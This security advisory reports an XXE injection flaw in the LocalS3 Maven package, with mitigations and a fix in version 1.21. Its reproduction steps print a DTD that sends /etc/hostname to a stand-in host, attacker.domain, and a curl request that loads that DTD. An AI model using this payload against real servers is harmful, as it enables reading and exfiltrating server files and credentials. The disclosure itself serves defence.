Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Maven

GHSA-47qw-ccjm-9c2c

LocalS3 XML Parser Vulnerable to XML External Entity (XXE) Injection

Published
Mar 10, 2025
Updated
Mar 10, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
io.github.robothy:local-s3-rest

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Description

The LocalS3 project, which implements an S3-compatible storage interface, contains a critical XML External Entity (XXE) Injection vulnerability in its XML parsing functionality. When processing XML requests for multipart upload operations, the application accepts and processes XML external entities, allowing an attacker to read local system files and potentially make outbound network connections.

The vulnerability exists because the XML parser is configured to process external entities and DTD (Document Type Definition) declarations without proper restrictions. This allows an attacker to define external entities that can read local files and exfiltrate their contents through outbound HTTP requests.

The vulnerability is particularly severe as it allows direct access to sensitive files on the filesystem, bypassing any directory traversal protections that might be in place for normal S3 operations.

Steps to Reproduce

  1. Create a malicious DTD file containing the following content:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.domain/?flag=%file;'>">
%eval;
%exfil;
  1. Host the malicious DTD file on an accessible web server

  2. Initialize a multipart upload to the LocalS3 server:

curl -X PUT "http://app/test-bucket/test.txt?uploads"
  1. Send a POST request to complete the multipart upload with the following XML payload:
    curl -X POST "http://app/test-bucket/test.txt?uploadId=[upload-id]" \
    -H "Content-Type: application/xml" \
    -d '<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data [
    <!ENTITY % dtd SYSTEM "http://attacker.domain/evil.dtd">
    %dtd;
    ]>
    <CompleteMultipartUpload>
       <Part>
           <PartNumber>1</PartNumber>
           <ETag>test</ETag>
       </Part>
    </CompleteMultipartUpload>'
    

The server will process the XML, load the external DTD, and when evaluating the entities, will read the contents of /etc/hostname and send them to the attacker's server via an HTTP request.

Mitigations

  • Disable DTD processing in the XML parser configuration
  • If DTD processing is required, disable the ability to load external entities and external DTDs
  • Implement XML parsing with secure defaults using JAXP's XMLConstants.FEATURE_SECURE_PROCESSING feature
  • Set up proper input validation and sanitization for all XML processing operations

Impact

An attacker can exploit this vulnerability to read arbitrary files from the server's filesystem and exfiltrate their contents through outbound HTTP requests. The vulnerability requires no authentication and can be exploited by anyone who can send requests to the LocalS3 server. This could lead to exposure of sensitive information including configuration files, credentials, and other confidential data stored on the server.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
Mavenio.github.robothy:local-s3-restall versions1.21

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.github.robothy:local-s3-rest. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update io.github.robothy:local-s3-rest to 1.21 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-47qw-ccjm-9c2c is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-47qw-ccjm-9c2c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-47qw-ccjm-9c2c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Description The LocalS3 project, which implements an S3-compatible storage interface, contains a critical XML External Entity (XXE) Injection vulnerability in its XML parsing functionality. When processing XML requests for multipart upload operations, the application accepts and processes XML external entities, allowing an attacker to read local system files and potentially make outbound network connections. The vulnerability exists because the XML parser is configured to process external entities and DTD (Document Type Definition) declarations without proper restrictions. This allows an
O3 Security · Impact-Aware SCA

Is GHSA-47qw-ccjm-9c2c in your dependencies?

O3 detects GHSA-47qw-ccjm-9c2c across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.